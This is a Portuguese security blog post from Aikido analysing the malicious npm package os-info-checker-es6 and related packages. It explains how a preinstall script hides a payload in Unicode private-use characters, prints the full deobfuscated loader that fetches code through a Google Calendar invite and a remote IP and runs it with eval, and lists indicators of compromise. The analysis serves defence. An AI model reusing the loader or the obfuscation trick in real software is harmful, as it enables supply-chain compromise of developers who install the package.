Aikido

Convidado: Entrega de malware via convites do Google Calendar e PUAs

Charlie EriksenCharlie Eriksen
|
#
#
#

Em 19 de março de 2025, descobrimos um pacote chamado os-info-checker-es6 e ficamos surpresos. Percebemos que não estava cumprindo o prometido. Mas qual é o problema? Decidimos investigar o assunto e, inicialmente, encontramos alguns becos sem saída. Mas a paciência compensa, e eventualmente obtivemos a maioria das respostas que procurávamos. Também aprendemos sobre Unicode PUAs (Não, não artistas da sedução). Foi uma montanha-russa de emoções!

Qual é o pacote?

O pacote não fornece muitas pistas devido à falta de um README arquivo. Veja como o pacote se parece no npm:

Não muito informativo. Mas parece que ele busca informações do sistema. Vamos seguir em frente. 

Código com mau cheiro o denuncia

Nosso pipeline de análise imediatamente levantou muitos sinais de alerta do pacote preinstall.js arquivo devido à presença de um eval() chamada com entrada codificada em base64. 

Vemos o eval(atob(...)) chamada. Isso significa “Decodificar uma string base64 e avaliá-la,” ou seja, executar código arbitrário. Isso nunca é um bom sinal. Mas qual é a entrada? 

A entrada é uma string que resulta da chamada de decode() em um módulo nativo do Node distribuído com o pacote. A entrada para essa função se parece com... Apenas um |?! O quê? 

Temos várias grandes questões aqui:

  1. O que a função decode está fazendo?
  2. O que a decodificação tem a ver com a verificação de informações do sistema operacional?
  3. Por que é eval()Fazendo isso? 
  4. Por que a única entrada para ele é um |?

Vamos aprofundar

Decidimos fazer engenharia reversa no binário. É um pequeno binário Rust que não faz muito. Inicialmente, esperávamos ver algumas chamadas a funções para obter informações do sistema operacional, mas não vimos NADA. Pensamos que talvez o binário estivesse escondendo mais Secrets, fornecendo a resposta para nossa primeira pergunta. Mais sobre isso mais tarde.

Mas então, o que acontece com a entrada para a função sendo apenas um |? É aqui que as coisas ficam interessantes. Essa não é a entrada real. Copiamos o código para outro editor, e o que vemos é:

Que pena! Eles quase se safaram. O que vemos são chamados de caracteres Unicode de "Acesso de Uso Privado". São códigos não atribuídos no padrão Unicode, reservados para uso privado, que as pessoas podem usar para definir seus próprios símbolos para suas aplicações. Eles são inerentemente não imprimíveis, pois não significam nada por si só. 

Neste caso, o decodificar chamada para o binário nativo do Node decodifica esses bytes em caracteres ASCII codificados em base64. Muito inteligente!

Vamos testar

Então, decidimos examinar o código real. Felizmente, ele salva o código que executou em um arquivo run.txt. E é apenas isto:

console.log('Check');

Isso é extremamente desinteressante. O que eles estão tramando? Por que estão se esforçando tanto para esconder este código? Ficamos perplexos. 

Mas então…

Começamos a ver pacotes publicados que dependiam deste pacote, sendo um deles do mesmo autor. Eles eram:

  • skip-tot (19 de março de 2025)
    • É uma cópia do pacote vue-skip-to.
  • vue-dev-serverr (31 de março de 2025)
  • vue-dummyy (3 de abril de 2025)
    • É uma cópia do pacote vue-dummy.
  • vue-bit (3 de abril de 2025)
    • Está fingindo ser o pacote @teambit/bvm.
    • Não contém nenhum código real.

Todos eles têm em comum que adicionam os-info-checker-es6 como uma dependência, mas nunca invocar o decodificar função. Que decepção. Não sabemos mais sobre o que os atacantes esperavam fazer. Nada aconteceu por um tempo até o os-info-checker-es6 o pacote foi atualizado novamente após uma longa pausa.

FINALMENTE

Este caso me incomodava há um tempo. Não fazia sentido. O que eles estavam tentando fazer? Eu perdi algo óbvio ao descompilar o módulo nativo do Node? Por que um atacante queimaria essa nova capacidade tão cedo? A resposta veio em 7 de maio de 2025, quando uma nova versão de os-info-checker-es6, versão 1.0.8, surgiu. O preinstall.js mudou. 

Olha só, a string ofuscada é muito mais longa! Mas o eval chamada está comentada. Então, mesmo que um payload malicioso exista na string ofuscada, ele não seria executado. O quê? Rodamos o decodificador em um sandbox e imprimimos a string decodificada. Aqui está ela após um pouco de embelezamento e anotações manuais:

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

Você viu a URL para o Google Calendar no orquestrador? Isso é algo interessante de se ver em um malware. Muito intrigante. 

Todos estão convidados!

Veja como o link se parece:

Um convite de calendário com uma string codificada em base64 como título. Lindo! A foto de perfil de pizza me fez esperar que talvez fosse um convite para uma festa de pizza, mas o evento está agendado para 7 de junho de 2027. Não posso esperar tanto tempo por pizza. Vou pegar outra string codificada em base64, no entanto. Aqui está o que ela decodifica:

http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

Em um beco sem saída... novamente

Esta investigação foi cheia de altos e baixos. Pensamos que as coisas estavam em um beco sem saída, apenas para sinais de vida aparecerem novamente. Chegamos tão perto de descobrir a VERDADEIRA intenção maliciosa do desenvolvedor, mas não conseguimos.

Não se engane — esta foi uma abordagem inovadora para ofuscação. Seria de se esperar que qualquer um que dedicasse tempo e esforço para fazer algo assim usasse as capacidades que desenvolveu. Em vez disso, eles parecem não ter feito nada com isso, revelando suas intenções. 

Como resultado, nosso motor de análise agora detecta padrões como este, onde um atacante tenta ocultar dados em caracteres de controle não imprimíveis. É mais um caso em que tentar ser esperto, em vez de dificultar a detecção, na verdade cria mais sinal. Porque é tão incomum que se destaca e acena com um grande sinal dizendo “NÃO ESTOU FAZENDO NADA DE BOM”. Continue com o ótimo trabalho. 👍

Indicadores de comprometimento

Pacotes

  • os-info-checker-es6
  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPs

  • 140.82.54[.]223

URLs

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

Reconhecimento

Durante esta investigação, fomos ajudados por nossos grandes amigos da Vector35, que nos forneceram uma licença de teste para sua ferramenta Binary Ninja para garantir que compreendêssemos totalmente o módulo nativo do Node. Um grande obrigado à equipe pelo excelente produto. 👏

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.